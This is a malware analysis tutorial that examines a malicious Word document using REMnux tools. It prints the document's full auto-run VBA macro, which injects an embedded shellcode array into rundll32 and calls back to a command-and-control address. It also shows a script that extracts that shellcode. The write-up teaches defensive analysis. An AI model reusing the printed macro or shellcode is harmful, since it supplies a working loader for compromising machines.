Malicious Document Analysis (MDA): Example 2

by Alexandre Borges
date: JAN/14/2021 - revision: A.1

1. Introduction

This article is a short analysis of a **malicious document** and destinated to help professionals who are beginners in threat analysis area. Furthermore, the second purpose is providing a quite short reading for readers to use it as reference in similar cases in their daily job while I'm still writing the second article (and much more complex, by far) of the **Malware Analysis Series (MAS)**.

The setup of my environment follows:

- **REMnux:** https://docs.remnux.org/install-distro/get-virtual-appliance
- **Didier Stevens Suite:** https://blog.didierstevens.com/didier-stevens-suite/
- **Malwoverview:** https://github.com/alexandreborges/malwoverview

All tools mentioned above are usually installed on **REMnux** by default. However, if you are using Ubuntu or any other Linux distribution, so you can install them through links and command above.

The hash of sample used during this analysis is:

(SHA 256): **070281b8c1a72893182928c21bf7241a0ad8c95879969d5f58e28d08f1a73b55**

Before proceeding, if you want to read a previous article about malicious document analysis, so this article is available on: https://exploitreversing.files.wordpress.com/2021/11/mda_1-2.pdf.

2. Gathering information

First step in this article is to download the sample and, in this case, we're doing it from **Malware Bazaar**:

- remnux@remnux:~/malware/mda$ **malwoverview.py -b 5 -B 070281b8c1a72893182928c21bf7241a0ad8c95879969d5f58e28d08f1a73b55 -o 0**

After downloading the zip package, unpack it using **7z** (the usual password is "**infected**"):

- **7z e 070281b8c1a72893182928c21bf7241a0ad8c95879969d5f58e28d08f1a73b55.zip**

To attend editing issues of this article I renamed the malicious file to **mda_2**.

Next step is to collect basic threat information on the sample from **Triage sandbox** by using **Malwoverview**:

```
remnux@remnux:~/malware/mda$ file mda_2
mda_2: Microsoft Word 2007+
remnux@remnux:~/malware/mda$
remnux@remnux:~/malware/mda$ malwoverview.py -x 1 -X 070281b8c1a72893182928c21bf7241a0ad8c95879969d5f58e28d08f1a73b55 -o 0


                                    TRIAGE OVERVIEW REPORT
-------------------------------------------------------------------------------------------------

id:         220105-r3lbpaagaq
status:     reported
kind:       file
filename:   070281b8c1a72893182928c21bf7241a0ad8c95879969d5f58e28d08f1a73b55
submitted:  2022-01-05T14:43:06Z
completed:  2022-01-05T14:45:49Z
-------------------------------------------------------------------------------------------
next:       2022-01-05T14:43:06.265507Z
remnux@remnux:~/malware/mda$
remnux@remnux:~/malware/mda$ malwoverview.py -x 2 -X 220105-r3lbpaagaq -o 0


                                    TRIAGE SEARCH REPORT
-------------------------------------------------------------------------------------------------

score:      10
extracted:
            c2:
                        http://47.93.63.179:7498/taO8
            family:     metasploit
            rule:       Metasploit
            dumped:     memory/936-857-0x0000000000000000-mapping.dmp
            resource:   behavioral1/memory/936-857-0x0000000000000000-mapping.dmp
            tasks:      behavioral1 behavioral2

id:         220105-r3lbpaagaq
target:     070281b8c1a72893182928c21bf7241a0ad8c95879969d5f58e28d08f1a73b55
size:       24777
md5:        528264e5e1dc298e49ead0e429569cc7
sha1:       e621a05288ec315e3b0b9566798a028341f497b8
sha256:     070281b8c1a72893182928c21bf7241a0ad8c95879969d5f58e28d08f1a73b55
completed:  2022-01-05T14:45:49Z
signatures:
            MetaSploit
            Process spawned unexpected child process
            Blocklisted process makes network request
            Suspicious Office macro
            Drops file in Windows directory
            Office loads VBA resources, possible macro or embedded object present
            Checks processor information in registry
            Enumerates system info in registry
            Modifies Internet Explorer settings
            Modifies registry class
            Suspicious behavior: AddClipboardFormatListener
            Suspicious use of SetWindowsHookEx
            Suspicious use of WriteProcessMemory

targets:
            family:     metasploit
            iocs:
                        time.windows.com
                        47.93.63.179
                        8.8.8.8
                        168.61.215.74
            md5:        528264e5e1dc298e49ead0e429569cc7
            score:      10
            sha1:       e621a05288ec315e3b0b9566798a028341f497b8
            sha256:     070281b8c1a72893182928c21bf7241a0ad8c95879969d5f58e28d08f1a73b55
            size:       24777bytes
            tags:
                        family:metasploit
                        backdoor
                        trojan
```

[Figure 1]

Few relevant facts about this maldoc:

- It's a **Microsoft Word 2007+**, so it's a **zip container**.

- It communicates to a **specific IP address** and **port**: **47.93.63.179:7498**.
- Its family is **Metasploit**.
- The maldoc apparently performs **code injection**.
- Maybe the sample **dumps a file** into the Windows directory.
- There is a **embedded macro** in the maldoc.

3. Analysis

Starting our analysis, let's check the content of the sample by executing the following command:

```
remnux@remnux:~/malware/mda$ zipdump.py mda_2
Index Filename                      Encrypted Timestamp
    1 [Content_Types].xml                   0 1980-01-01 00:00:00
    2 _rels/.rels                           0 1980-01-01 00:00:00
    3 word/_rels/document.xml.rels          0 1980-01-01 00:00:00
    4 word/document.xml                     0 1980-01-01 00:00:00
    5 word/vbaProject.bin                   0 1980-01-01 00:00:00
    6 word/_rels/vbaProject.bin.rels        0 1980-01-01 00:00:00
    7 word/theme/theme1.xml                 0 1980-01-01 00:00:00
    8 word/vbaData.xml                      0 1980-01-01 00:00:00
    9 word/settings.xml                     0 1980-01-01 00:00:00
   10 docProps/app.xml                      0 1980-01-01 00:00:00
   11 word/styles.xml                       0 1980-01-01 00:00:00
   12 docProps/core.xml                     0 1980-01-01 00:00:00
   13 word/fontTable.xml                    0 1980-01-01 00:00:00
   14 word/webSettings.xml                  0 1980-01-01 00:00:00
```

[Figure 2]

The **object 5** (**word/vbaProject.bin**) sounds interesting, so we can check it by executing the next commands:

```
remnux@remnux:~/malware/mda$ zipdump.py mda_2 -s 5 -d | file -
/dev/stdin: Composite Document File V2 Document, Cannot read section info
remnux@remnux:~/malware/mda$
remnux@remnux:~/malware/mda$ zipdump.py mda_2 -s 5 -d | oledump.py
  1:       418 'PROJECT'
  2:        71 'PROJECTwm'
  3: M   13951 'VBA/NewMacros'
  4: m    1188 'VBA/ThisDocument'
  5:      3780 'VBA/_VBA_PROJECT'
  6:      2458 'VBA/__SRP_0'
  7:       833 'VBA/__SRP_1'
  8:       344 'VBA/__SRP_2'
  9:       106 'VBA/__SRP_3'
 10:       295 'VBA/__SRP_4'
 11:       874 'VBA/__SRP_5'
 12:       527 'VBA/dir'
```

[Figure 3]

The **object 3** is a **macro** and the biggest object in the **OLE file**. Remember a **macro is stored in a compressed form**, so it's necessary to **uncompressing** it before being able to read its content. Therefore, run the following command (the output is quite long, unfortunately):

```
remnux@remnux:~/malware/mda$ zipdump.py mda_2 -s 5 -d | oledump.py -s 3 -v
Attribute VB_Name = "NewMacros"
Private Type PROCESS_INFORMATION
    hProcess As Long
    hThread As Long
    dwProcessId As Long
    dwThreadId As Long
End Type

Private Type STARTUPINFO
    cb As Long
    lpReserved As String
    lpDesktop As String
    lpTitle As String
    dwX As Long
    dwY As Long
    dwXSize As Long
    dwYSize As Long
    dwXCountChars As Long
    dwYCountChars As Long
    dwFillAttribute As Long
    dwFlags As Long
    wShowWindow As Integer
    cbReserved2 As Integer
    lpReserved2 As Long
    hStdInput As Long
    hStdOutput As Long
    hStdError As Long
End Type

#If VBA7 Then
    Private Declare PtrSafe Function CreateStuff Lib "kernel32" Alias "CreateRemoteThread" (ByVal hProcess As Long, ByVal lpThreadAttributes As
Long, ByVal dwStackSize As Long, ByVal lpStartAddress As LongPtr, lpParameter As Long, ByVal dwCreationFlags As Long, lpThreadID As Long) As Lon
gPtr
    Private Declare PtrSafe Function AllocStuff Lib "kernel32" Alias "VirtualAllocEx" (ByVal hProcess As Long, ByVal lpAddr As Long, ByVal lSize
 As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr
    Private Declare PtrSafe Function WriteStuff Lib "kernel32" Alias "WriteProcessMemory" (ByVal hProcess As Long, ByVal lDest As LongPtr, ByRef
 Source As Any, ByVal Length As Long, ByVal LengthWrote As LongPtr) As LongPtr
    Private Declare PtrSafe Function RunStuff Lib "kernel32" Alias "CreateProcessA" (ByVal lpApplicationName As String, ByVal lpCommandLine As S
tring, lpProcessAttributes As Any, lpThreadAttributes As Any, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, lpEnvironment As Any
, ByVal lpCurrentDirectory As String, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long
#Else
    Private Declare Function CreateStuff Lib "kernel32" Alias "CreateRemoteThread" (ByVal hProcess As Long, ByVal lpThreadAttributes As Long, By
Val dwStackSize As Long, ByVal lpStartAddress As Long, lpParameter As Long, ByVal dwCreationFlags As Long, lpThreadID As Long) As Long
    Private Declare Function AllocStuff Lib "kernel32" Alias "VirtualAllocEx" (ByVal hProcess As Long, ByVal lpAddr As Long, ByVal lSize As Long
, ByVal flAllocationType As Long, ByVal flProtect As Long) As Long
    Private Declare Function WriteStuff Lib "kernel32" Alias "WriteProcessMemory" (ByVal hProcess As Long, ByVal lDest As Long, ByRef Source As

Any, ByVal Length As Long, ByVal LengthWrote As Long) As Long
    Private Declare Function RunStuff Lib "kernel32" Alias "CreateProcessA" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, l
pProcessAttributes As Any, lpThreadAttributes As Any, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, lpEnvironment As Any, ByVal
lpCurrentDriectory As String, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long
#End If

Sub Auto_Open()
    Dim myByte As Long, myArray As Variant, offset As Long
    Dim pInfo As PROCESS_INFORMATION
    Dim sInfo As STARTUPINFO
    Dim sNull As String
    Dim sProc As String

#If VBA7 Then
    Dim rwxpage As LongPtr, res As LongPtr
#Else
    Dim rwxpage As Long, res As Long
#End If
    myArray = Array(-4, -24, -119, 0, 0, 0, 96, -119, -27, 49, -46, 100, -117, 82, 48, -117, 82, 12, -117, 82, 20, -117, 114, 40, 15, -73, 74, 3
8, 49, -1, 49, -64, -84, 60, 97, 124, 2, 44, 32, -63, -49, _
13, 1, -57, -30, -16, 82, 87, -117, 82, 16, -117, 66, 60, 1, -48, -117, 64, 120, -123, -64, 116, 74, 1, -48, 80, -117, 72, 24, -117, 88, 32, 1,
-45, -29, 60, 73, -117, 52, -117, 1, _
-42, 49, -1, 49, -64, -84, -63, -49, 13, 1, -57, 56, -32, 117, -12, 3, 125, -8, 59, 125, 36, 117, -30, 88, -117, 88, 36, 1, -45, 102, -117, 12,
75, -117, 88, 28, 1, -45, -117, 4, _
-117, 1, -48, -119, 68, 36, 36, 91, 91, 97, 89, 90, 81, -1, -32, 88, 95, 90, -117, 18, -21, -122, 93, 104, 110, 101, 116, 0, 104, 119, 105, 110,
 105, 84, 104, 76, 119, 38, 7, -1, _
-43, 49, -1, 87, 87, 87, 87, 87, 104, 58, 86, 121, -89, -1, -43, -23, -124, 0, 0, 0, 91, 49, -55, 81, 81, 106, 3, 81, 81, 104, 74, 29, 0, 0, 83,
 80, 104, 87, -119, -97, _
-58, -1, -43, -21, 112, 91, 49, -46, 82, 104, 0, 2, 64, -124, 82, 82, 82, 83, 82, 80, 104, -21, 85, 46, 59, -1, -43, -119, -58, -125, -61, 80, 4
9, -1, 87, 87, 106, -1, 83, 86, _
104, 45, 6, 24, 123, -1, -43, -123, -64, 15, -124, -61, 1, 0, 0, 49, -1, -123, -10, 116, 4, -119, -7, -21, 9, 104, -86, -59, -30, 93, -1, -43, -
119, -63, 104, 69, 33, 94, 49, -1, _
-43, 49, -1, 87, 106, 7, 81, 86, 80, 104, -73, 87, -32, 11, -1, -43, -65, 0, 47, 0, 0, 57, -57, 116, -73, 49, -1, -23, -111, 1, 0, 0, -23, -55,
1, 0, 0, -24, -117, -1, _
-1, -1, 47, 116, 97, 79, 56, 0, -21, 16, 49, -71, -117, 51, 127, -117, -33, 54, 31, -69, -19, 48, 21, -37, -56, -107, -59, 23, -88, -63, 0, -104
, -116, -51, -104, 65, -48, -118, -80, 62, _
123, -103, -51, -124, -11, -27, 50, 17, -77, -115, 98, 29, 106, -71, -108, 35, 99, -94, 70, 89, -41, 14, -9, 114, -126, -101, -95, -16, -75, 44,
 28, 59, -70, 123, -27, 55, 63, -86, 8, 66, _
-3, 0, 85, 115, 101, 114, 45, 65, 103, 101, 110, 116, 58, 32, 77, 111, 122, 105, 108, 108, 97, 47, 52, 46, 48, 32, 40, 99, 111, 109, 112, 97, 11
6, 105, 98, 108, 101, 59, 32, 77, _
83, 73, 69, 32, 55, 46, 48, 59, 32, 87, 105, 110, 100, 111, 119, 115, 32, 78, 84, 32, 54, 46, 48, 41, 13, 10, 0, 62, 73, 5, 8, -70, 26, -68, 95,
 117, -58, -111, -107, 21, _
47, -40, -43, 89, 118, 112, -18, 17, 116, -104, 95, 44, -45, -100, -125, 106, 75, -7, -57, 92, -90, -44, -128, -53, 22, -20, 101, 119, -65, -69,
 -87, 29, 90, 118, 66, 24, 20, -60, 86, -86, _
-69, 89, 56, 15, 74, 78, 113, 44, 73, -16, -52, -119, 13, 5, -24, -71, -64, 127, -79, -61, -126, -53, -105, -7, 76, -108, -60, -75, 41, -101, -6
1, -14, -10, 65, 120, -70, -117, -120, 55, -110, _
51, 94, -73, -52, 82, -66, 10, -103, -105, -92, 32, -44, 8, -88, 126, 14, 75, -29, -72, -19, -87, 5, -61, 7, -109, -41, 23, -91, -116, 41, 24, -
84, -47, 6, -99, 110, -117, 78, -47, 1, _
```

```
-112, -55, 29, 110, 32, 30, -83, 107, -101, 65, 111, -73, 113, -100, 64, -117, -103, -117, -30, 73, 102, 66, 76, -3, -51, 56, -66, -33, -73, -2,
 -5, -116, 17, 71, 75, 39, 61, 69, -44, 48, _
5, -28, 108, -42, -58, -116, -5, 112, 42, -91, -69, 30, -90, 46, -20, -50, -18, -37, -54, -125, -27, 90, 30, 106, 62, -73, -88, 102, -113, 105,
116, 96, -101, 73, -9, -15, -8, 20, -125, -63, _
-7, 15, -124, 49, 6, -61, -87, 24, -84, 72, -113, 38, 32, 0, -30, 5, 124, 52, 18, -99, 46, 11, 56, -9, -14, 0, 104, -16, -75, -94, 86, -1, -43,
106, 64, 104, 0, 16, 0, 0, _
104, 0, 0, 64, 0, 87, 104, 88, -92, 83, -27, -1, -43, -109, -71, 0, 0, 0, 0, 1, -39, 81, 83, -119, -25, 87, 104, 0, 32, 0, 0, 83, 86, 104, 18, -
106, -119, -30, -1, -43, _
-123, -64, 116, -58, -117, 7, 1, -61, -123, -64, 117, -27, 88, -61, -24, -87, -3, -1, -1, 52, 55, 46, 57, 51, 46, 54, 51, 46, 49, 55, 57, 0, 18,
 52, 86, 120)
    If Len(Environ("ProgramW6432")) > 0 Then
        sProc = Environ("windir") & "\\SysWOW64\\rundll32.exe"
    Else
        sProc = Environ("windir") & "\\System32\\rundll32.exe"
    End If

    res = RunStuff(sNull, sProc, ByVal 0&, ByVal 0&, ByVal 1&, ByVal 4&, ByVal 0&, sNull, sInfo, pInfo)

    rwxpage = AllocStuff(pInfo.hProcess, 0, UBound(myArray), &H1000, &H40)
    For offset = LBound(myArray) To UBound(myArray)
        myByte = myArray(offset)
        res = WriteStuff(pInfo.hProcess, rwxpage + offset, myByte, 1, ByVal 0&)
    Next offset
    res = CreateStuff(pInfo.hProcess, 0, 0, rwxpage, 0, 0, 0)
End Sub
Sub AutoOpen()
    Auto_Open
End Sub
Sub Workbook_Open()
    Auto_Open
End Sub
```

[Figure 4]

Although it's a long code, we can take some conclusions:

- The code really seems to be a kind of **Cobalt Strike / Metasploit generated code**.
- Calls to **CreateRemoteThread( ), VirtualAllocEx( )** and **WriteProcessMemory( )** confirm the code injection behavior.
- There's a **long array of decimal numbers**, which is probably a kind of code such as **PE executable** or **shellcode** to be injected.

We can try to manage this sample using static analysis where it's possible, write a short Python code and even using emulation.

Therefore, how can we proceed? Taking Python 3 as reference, one of many possible approach would be:

- **Dumping** the code into a file.
- **Understanding the VBA code**, mainly where there's a array manipulation.
- **Removing** anything associated to **VBA**.
- Writing a **Python code** mimicking the VBA code.

If you want, you can dump the code to use it as base for your script:

- remnux@remnux:~/malware/mda$ **zipdump.py mda_2 -s 5 -d | oledump.py -s 3 -v > dump1**

The macro's code sounds difficult, but it's quite easy. The main piece of code, which we have to write a Python-like code, is the following one:

```
For offset = LBound(myArray) To UBound(myArray)
    myByte = myArray(offset)
    res = WriteStuff(pInfo.hProcess, rwxpage + offset, myByte, 1, ByVal 0&)
Next offset
```

[Figure 5]

It's trivial code because it only reads the decimal number from the array and makes an code injection using this code, so writing a Python script is so quick:

```
remnux@remnux:~/malware/mda$ cat script_mda_1.py
import struct

myList = [-4,-24,-119,0,0,0, 96, -119, -27, 49, -46, 100, -117, 82, 48, -117, 82, 12, -117, 82, 20, -117, 11
4, 40, 15, -73, 74, 38, 49, -1, 49, -64, -84, 60, 97, 124, 2, 44, 32, -63, -49, 13, 1, -57, -30, -16, 82, 87
, -117, 82, 16, -117, 66, 60, 1, -48, -117, 64, 120, -123, -64, 116, 74, 1, -48, 80, -117, 72, 24, -117, 88,
 32, 1, -45, -29, 60, 73, -117, 52, -117, 1, -42, 49, -1, 49, -64, -84, -63, -49, 13, 1, -57, 56, -32, 117,
-12, 3, 125, -8, 59, 125, 36, 117, -30, 88, -117, 88, 36, 1, -45, 102, -117, 12, 75, -117, 88, 28, 1, -45, -
117, 4, -117, 1, -48, -119, 68, 36, 36, 91, 91, 97, 89, 90, 81, -1, -32, 88, 95, 90, -117, 18, -21, -122, 93
, 104, 110, 101, 116, 0, 104, 119, 105, 110, 105, 84, 104, 76, 119, 38, 7, -1, -43, 49, -1, 87, 87, 87, 87,
87, 104, 58, 86, 121, -89, -1, -43, -23, -124, 0, 0, 0, 91, 49, -55, 81, 81, 106, 3, 81, 81, 104, 74, 29, 0,
 0, 83, 80, 104, 87, -119, -97, -58, -1, -43, -21, 112, 91, 49, -46, 82, 104, 0, 2, 64, -124, 82, 82, 82, 83
, 82, 80, 104, -21, 85, 46, 59, -1, -43, -119, -58, -125, -61, 80, 49, -1, 87, 87, 106, -1, 83, 86, 104, 45,
 6, 24, 123, -1, -43, -123, -64, 15, -124, -61, 1, 0, 0, 49, -1, -123, -10, 116, 4, -119, -7, -21, 9, 104, -
86, -59, -30, 93, -1, -43, -119, -63, 104, 69, 33, 94, 49, -1, -43, 49, -1, 87, 106, 7, 81, 86, 80, 104, -73
, 87, -32, 11, -1, -43, -65, 0, 47, 0, 0, 57, -57, 116, -73, 49, -1, -23, -111, 1, 0, 0, -23, -55, 1, 0, 0,
-24, -117, -1, -1, -1, 47, 116, 97, 79, 56, 0, -21, 16, 49, -71, -117, 51, 127, -117, -33, 54, 31, -69, -19,
 48, 21, -37, -56, -107, -59, 23, -88, -63, 0, -104, -116, -51, -104, 65, -48, -118, -80, 62, 123, -103, -51
, -124, -11, -27, 50, 17, -77, -115, 98, 29, 106, -71, -108, 35, 99, -94, 70, 89, -41, 14, -9, 114, -126, -1
01, -95, -16, -75, 44, 28, 59, -70, 123, -27, 55, 63, -86, 8, 66, -3, 0, 85, 115, 101, 114, 45, 65, 103, 101
, 110, 116, 58, 32, 77, 111, 122, 105, 108, 108, 97, 47, 52, 46, 48, 32, 40, 99, 111, 109, 112, 97, 116, 105
, 98, 108, 101, 59, 32, 77, 83, 73, 69, 32, 55, 46, 48, 59, 32, 87, 105, 110, 100, 111, 119, 115, 32, 78, 84
, 32, 54, 46, 48, 41, 13, 10, 0, 62, 73, 5, 8, -70, 26, -68, 95, 117, -58, -111, -107, 21, 47, -40, -43, 89,
 118, 112, -18, 17, 116, -104, 95, 44, -45, -100, -125, 106, 75, -7, -57, 92, -90, -44, -128, -53, 22, -20,
101, 119, -65, -69, -87, 29, 90, 118, 66, 24, 20, -60, 86, -86, -69, 89, 56, 15, 74, 78, 113, 44, 73, -16, -
52, -119, 13, 5, -24, -71, -64, 127, -79, -61, -126, -53, -105, -7, 76, -108, -60, -75, 41, -101, -61, -14,
-10, 65, 120, -70, -117, -120, 55, -110, 51, 94, -73, -52, 82, -66, 10, -103, -105, -92, 32, -44, 8, -88, 12
6, 14, 75, -29, -72, -19, -87, 5, -61, 7, -109, -41, 23, -91, -116, 41, 24, -84, -47, 6, -99, 110, -117, 78,
 -47, 1, -112, -55, 29, 110, 32, 30, -83, 107, -101, 65, 111, -73, 113, -100, 64, -117, -103, -117, -30, 73,
 102, 66, 76, -3, -51, 56, -66, -33, -73, -2, -5, -116, 17, 71, 75, 39, 61, 69, -44, 48, 5, -28, 108, -42, -
58, -116, -5, 112, 42, -91, -69, 30, -90, 46, -20, -50, -18, -37, -54, -125, -27, 90, 30, 106, 62, -73, -88,
 102, -113, 105, 116, 96, -101, 73, -9, -15, -8, 20, -125, -63, -7, 15, -124, 49, 6, -61, -87, 24, -84, 72,
-113, 38, 32, 0, -30, 5, 124, 52, 18, -99, 46, 11, 56, -9, -14, 0, 104, -16, -75, -94, 86, -1, -43, 106, 64,
 104, 0, 16, 0, 0, 104, 0, 0, 64, 0, 87, 104, 88, -92, 83, -27, -1, -43, -109, -71, 0, 0, 0, 0, 1, -39, 81,
83, -119, -25, 87, 104, 0, 32, 0, 0, 83, 86, 104, 18, -106, -119, -30, -1, -43, -123, -64, 116, -58, -117, 7
, 1, -61, -123, -64, 117, -27, 88, -61, -24, -87, -3, -1, -1, 52, 55, 46, 57, 51, 46, 54, 51, 46, 49, 55, 57
, 0, 18, 52, 86, 120]

shell_code = open("shellcode.bin","wb")

for i in myList:
    shell_code.write(struct.pack('b',i))

shell_code.close()
```

[Figure 6]

About the quite simple piece of code above:

- I converted the VBA array into a **Python list**.
- I created a **binary file** named "**shellcode.bin**" and wrote all read bytes from the list into it.

A short explanation about the usage of struct.pack in this case: the **struct.pack( )** is converting each item from decimal to byte format (**\xAB** notation) before writing it into the file, so we should check the size and file type of the generated shellcode.bin:

remnux@remnux:~/malware/mda$ **file shellcode.bin**
shellcode.bin: data

remnux@remnux:~/malware/mda$ **ls -lh shellcode.bin**
-rw-rw-r-- 1 remnux remnux 797 Jan 13 22:26 shellcode.bin

In fact, it's a really small code and, likely, it isn't an PE executable. Checking its content we have:

```
remnux@remnux:~/malware/mda$ hexdump -C shellcode.bin | head -15
00000000  fc e8 89 00 00 00 60 89  e5 31 d2 64 8b 52 30 8b  |......`..1.d.R0.|
00000010  52 0c 8b 52 14 8b 72 28  0f b7 4a 26 31 ff 31 c0  |R..R..r(..J&1.1.|
00000020  ac 3c 61 7c 02 2c 20 c1  cf 0d 01 c7 e2 f0 52 57  |.<a|., .......RW|
00000030  8b 52 10 8b 42 3c 01 d0  8b 40 78 85 c0 74 4a 01  |.R..B<...@x..tJ.|
00000040  d0 50 8b 48 18 8b 58 20  01 d3 e3 3c 49 8b 34 8b  |.P.H..X ...<I.4.|
00000050  01 d6 31 ff 31 c0 ac c1  cf 0d 01 c7 38 e0 75 f4  |..1.1.......8.u.|
00000060  03 7d f8 3b 7d 24 75 e2  58 8b 58 24 01 d3 66 8b  |.}.;}$u.X.X$..f.|
00000070  0c 4b 8b 58 1c 01 d3 8b  04 8b 01 d0 89 44 24 24  |.K.X.........D$$|
00000080  5b 5b 61 59 5a 51 ff e0  58 5f 5a 8b 12 eb 86 5d  |[[aYZQ..X_Z....]|
00000090  68 6e 65 74 00 68 77 69  6e 69 54 68 4c 77 26 07  |hnet.hwiniThLw&.|
000000a0  ff d5 31 ff 57 57 57 57  57 68 3a 56 79 a7 ff d5  |..1.WWWWWh:Vy...|
000000b0  e9 84 00 00 00 5b 31 c9  51 51 6a 03 51 51 68 4a  |.....[1.QQj.QQhJ|
000000c0  1d 00 00 53 50 68 57 89  9f c6 ff d5 eb 70 5b 31  |...SPhW......p[1|
000000d0  d2 52 68 00 02 40 84 52  52 52 53 52 50 68 eb 55  |.Rh..@.RRRSRPh.U|
000000e0  2e 3b ff d5 89 c6 83 c3  50 31 ff 57 57 6a ff 53  |.;......P1.WWj.S|
remnux@remnux:~/malware/mda$
remnux@remnux:~/malware/mda$ strings -a -n10 shellcode.bin
hwiniThLw&
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
47.93.63.179
```

[Figure 7]

As expected, it isn't a PE executable, but there're meaningful strings, so it's probably is a shellcode, which can be easily emulated by using **scdbg.exe** (http://sandsprite.com/blogs/index.php?uid=7&pid=152):

```
remnux@remnux:~/malware/mda$ wine scdbg.exe -f shellcode.bin
Loaded 31d bytes from file shellcode.bin
Initialization Complete..
Max Steps: 2000000
Using base offset: 0x401000

4010a2  LoadLibraryA(wininet)
4010b0  InternetOpenA()
4010cc  InternetConnectA(server: 47.93.63.179, port: 7498, )

Stepcount 2000001
```

[Figure 8]

That's game over! We've just confirmed information from Triage's report without running the code and only using the **REMnux** system.

I hope this simple and short write-up can help you in your daily job. My contact information follow:

- **Twitter: @ale_sp_brazil**
- **LinkedIn:** https://www.linkedin.com/in/aleborges
- **Blog:** https://exploitreversing.com

Keep reversing and I see you at next time!

Alexandre Borges.